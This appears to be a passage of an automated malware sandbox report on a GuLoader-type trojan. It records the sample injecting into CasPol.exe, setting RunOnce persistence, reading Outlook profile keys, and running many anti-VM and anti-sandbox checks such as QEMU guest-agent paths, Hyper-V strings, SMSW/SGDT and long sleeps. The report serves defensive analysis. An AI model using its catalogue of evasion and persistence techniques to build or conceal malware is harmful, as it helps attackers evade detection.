Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0156A3C8 5_2_0156A3C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_1C778C47 5_2_1C778C47
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_1C772570 5_2_1C772570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_1C775108 5_2_1C775108
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_1C77B438 5_2_1C77B438
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_1D5B5E08 5_2_1D5B5E08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_1D5B6AD0 5_2_1D5B6AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_1D5B46C4 5_2_1D5B46C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_1D5B5D20 5_2_1D5B5D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_1D5B5D80 5_2_1D5B5D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_1D5B6AF1 5_2_1D5B6AF1
Found potential string decryption / allocating functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: String function: 01006288 appears 52 times
Contains functionality to call native functions
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_0339FC0D NtProtectVirtualMemory, 1_2_0339FC0D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_033A00DF NtResumeThread, 1_2_033A00DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0110C3C8 NtAllocateVirtualMemory, 5_2_0110C3C8
Sample file is different than original file name gathered from version info
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameThrottlePlugin.dllL vs SecuriteInfo.com.Trojan.Inject.11626.exe
PE file contains strange resources
Source: SecuriteInfo.com.Trojan.Inject.11626.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Tries to load missing DLLs
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Section loaded: edgegdi.dll Jump to behavior
Source: SecuriteInfo.com.Trojan.Inject.11626.exe Virustotal: Detection: 11%
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe File read: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Jump to behavior
Source: SecuriteInfo.com.Trojan.Inject.11626.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe" Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe" Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe" Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 1_2_00403640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe File created: C:\Users\user\AppData\Local\Temp\nsl3FE3.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@8/13@1/2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_004021AA CoCreateInstance, 1_2_004021AA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_00404AB5 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 1_2_00404AB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6604:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6604:120:WilError_03
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe File written: C:\Users\user\AppData\Local\Temp\HERMAPHRODEITY.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: SecuriteInfo.com.Trojan.Inject.11626.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: D:\SourceCode\GC3.Overclocking\production_V4.2\Service\ServiceSDK\Release\ThrottlePlugin\ThrottlePlugin.pdb source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr
Source: Binary string: D:\SourceCode\GC3.Overclocking\production_V4.2\Service\ServiceSDK\Release\ThrottlePlugin\ThrottlePlugin.pdb00 source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000001.00000002.14985940057.0000000003391000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.14824947099.0000000001100000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_70E230C0 push eax; ret 1_2_70E230EE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_033939B0 pushad ; ret 1_2_033939B1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03394D82 push ds; ret 1_2_0339C6DE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03393DF7 push ebp; retf 1_2_03393DF8
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_70E21BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 1_2_70E21BFF
Drops PE files
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe File created: C:\Users\user\AppData\Local\Temp\nsg40B0.tmp\System.dll Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe File created: C:\Users\user\AppData\Local\Temp\ThrottlePlugin.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Startup key Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Startup key Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Startup key Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Startup key Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Tries to detect Any.run
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14986099860.0000000003481000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: NTDLLUSER32KERNEL32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 10.0; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32TEMP=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXEWINDIR=\SYSWOW64\IERTUTIL.DLLWINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXEWINDIR=\SYSWOW64\IERTUTIL.DLLWINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXEWINDIR=\SYSWOW64\IERTUTIL.DLL
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14982548918.00000000007A6000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXENZP
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14986099860.0000000003481000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14982251535.0000000000768000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 7400 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ThrottlePlugin.dll Jump to dropped file
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_0339213A rdtsc 1_2_0339213A
Contains long sleeps (>= 3 min)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Contains functionality to detect virtual machines (SMSW)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01425260 smsw word ptr [eax] 5_2_01425260
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Window / User API: threadDelayed 9933 Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Contains functionality to detect virtual machines (SGDT)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0100F388 sgdt fword ptr [eax] 5_2_0100F388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 1_2_00405D74
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_0040290B FindFirstFileW, 1_2_0040290B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_0040699E FindFirstFileW,FindClose, 1_2_0040699E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe API call chain: ExitProcess graph end node
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14986495060.0000000004F59000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Guest Shutdown Service
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14986099860.0000000003481000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ntdlluser32kernel32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32TEMP=windir=\Microsoft.NET\Framework\v4.0.30319\caspol.exewindir=\syswow64\iertutil.dllwindir=\Microsoft.NET\Framework\v4.0.30319\caspol.exewindir=\syswow64\iertutil.dllwindir=\Microsoft.NET\Framework\v4.0.30319\caspol.exewindir=\syswow64\iertutil.dll
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14986495060.0000000004F59000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14982548918.00000000007A6000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exeNzP
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14986495060.0000000004F59000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmicshutdown
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14986495060.0000000004F59000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14986495060.0000000004F59000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V PowerShell Direct Service
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14986495060.0000000004F59000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Time Synchronization Service
